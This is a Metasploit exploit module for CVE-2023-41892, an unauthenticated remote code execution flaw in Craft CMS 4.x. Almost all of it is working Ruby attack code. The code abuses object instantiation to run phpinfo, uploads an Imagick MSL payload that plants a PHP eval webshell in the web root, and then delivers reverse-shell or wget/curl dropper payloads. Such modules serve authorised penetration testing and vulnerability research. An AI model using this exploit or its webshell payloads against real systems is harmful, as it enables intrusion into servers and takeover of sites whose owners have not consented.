Authored by h00die-gr3y, chybeta, Thanh | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability in Craft CMS versions 4.0.0-RC1 through 4.4.14.

advisories | CVE-2023-41892

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Craft CMS unauthenticated Remote Code Execution (RCE)',
'Description' => %q{
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability
allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
of the application.

The vulnerability occurs using a PHP object creation in the `craftcontrollersConditionsController` class
which allows to run arbitrary PHP code by escalating the object creation calling some methods available in
`GuzzleHttpPsr7FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
facilitates the reading of images, performance of image processing tasks, and writing of results back
to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the
Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
malicious PHP code and gaining access to the system.

Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
access to the underlying operating system as the user that the web services are running as (typically www-data).
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
'Thanh', # discovery
'chybeta' # poc
],
'References' => [
[ 'CVE', '2023-41892' ],
[ 'URL', 'https://blog.calif.io/p/craftcms-rce' ],
[ 'URL', 'https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/' ],
[ 'URL', 'https://github.com/advisories/GHSA-4w8r-3xrw-v25g' ],
[ 'URL', 'https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892' ],
],
'License' => MSF_LICENSE,
'Platform' => [ 'unix', 'linux', 'php' ],
'Privileged' => false,
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-09-13',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Craft CMS base url', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension .php. Webshell name will be randomly generated if left unset.', ''
]),
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
]
)
end

def check_phpinfo
# checks vulnerability running phpinfo() and returns upload_tmp_dir and DOCUMENT_ROOT
@config = { 'upload_tmp_dir' => nil, 'document_root' => nil }

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'conditions/render',
'configObject[class]' => 'craftelementsconditionsElementCondition',
'config' => '{"name":"configObject","as ":{"class":"GuzzleHttpPsr7FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}
})
if res && res.body
# parse HTML to find the upload directory and the document root provided by phpinfo command output
html = res.get_html_document
unless html.blank?
tr_items = html.css('tr td')
tr_items.each_with_index do |item, i|
next if tr_items[i + 1].nil?

if item.text.casecmp?('upload_tmp_dir')
if tr_items[i + 1].text.casecmp?('no value')
@config['upload_tmp_dir'] = '/tmp'
else
@config['upload_tmp_dir'] = tr_items[i + 1].text.strip
end
end
@config['document_root'] = tr_items[i + 1].text.strip if item.text.casecmp?('$_SERVER['DOCUMENT_ROOT']')
end
end
end
end

def upload_webshell
# randomize file name if option WEBSHELL is not set
if datastore['WEBSHELL'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"
else
@webshell_name = datastore['WEBSHELL'].to_s
end

# select webshell depending on the target setting (PHP or others).
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)

if target['Type'] == :php
# create the MSL payload
# payload = "<?php @eval(base64_decode($_POST['#{@post_param}']));?>"
payload = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @eval(base64_decode($_POST['#{@post_param}'])); ?>" />
<write filename="info:#{@config['document_root']}/#{@webshell_name}" />
</image>
EOS
else
# create the MSL payload
# payload = "<?=#{datastore['COMMAND']}(base64_decode($_POST['#{@post_param}']));?>"
payload = <<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?=#{datastore['COMMAND']}(base64_decode($_POST['#{@post_param}'])); ?>" />
<write filename="info:#{@config['document_root']}/#{@webshell_name}" />
</image>
EOS
end

# construct multipart form data with Imagick MSL payload
form_data = Rex::MIME::Message.new
form_data.add_part('conditions/render', nil, nil, 'form-data; name="action"')
form_data.add_part('craftelementsconditionsElementCondition', nil, nil, 'form-data; name="configObject[class]"')
form_data.add_part('{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}', nil, nil, 'form-data; name="config"')
form_data.add_part(payload, 'text/plain', nil, "form-data; name="#{Rex::Text.rand_text_alpha(4..8)}"; filename="#{Rex::Text.rand_text_alpha(4..8)}.msl"")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
if res && res.code == 502
# code 502 indicates a successful upload of the MSL payload in upload_tmp_dir (default /tmp unless specified in php.ini)
# next step is to generate the webshell in DOCUMENT_ROOT by executing the Imagick MSL payload
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'action' => 'conditions/render',
'configObject[class]' => 'craftelementsconditionsElementCondition',
'config' => "{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:#{@config['upload_tmp_dir']}/php*"}}}"
}
})
# code 502 indicates a successful generation of the webshell in DOCUMENT_ROOT
return res&.code == 502
end
false
end

def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], @webshell_name),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end

def on_new_session(session)
# cleanup webshell in DOCUMENT_ROOT
register_files_for_cleanup("#{@config['document_root']}/#{@webshell_name}")

# Imagick plugin generates a php<random chars> file with MSL code in the directory set by
# the PHP ini setting "upload_tmp_dir". This file gets executed to generate the webshell.
# A manual cleanup procedure is required to identify and remove the php* files when the session is established.
if session.type == 'meterpreter'
session.fs.dir.chdir(@config['upload_tmp_dir'].to_s)
clean_files = session.fs.dir.entries
else
clean_files = session.shell_command_token("cd #{@config['upload_tmp_dir']};ls php*").split(' ')
end
unless clean_files.blank?
clean_files.each do |f|
register_files_for_cleanup("#{@config['upload_tmp_dir']}/#{f}") if f.match(/^php+/)
end
end
super
end

def check
check_phpinfo
return CheckCode::Appears unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil?

CheckCode::Safe
end

def exploit
# check if upload_tmp_dir and document_root is already initialized with AutoCheck set otherwise run check_phpinfo
check_phpinfo unless datastore['AutoCheck']
fail_with(Failure::NotVulnerable, 'Could not get required phpinfo. System is likely patched.') if @config['upload_tmp_dir'].nil? || @config['document_root'].nil?
fail_with(Failure::UnexpectedReply, "Webshell #{@webshell_name} upload failed.") unless upload_webshell

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php, :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 65536)
end
end
end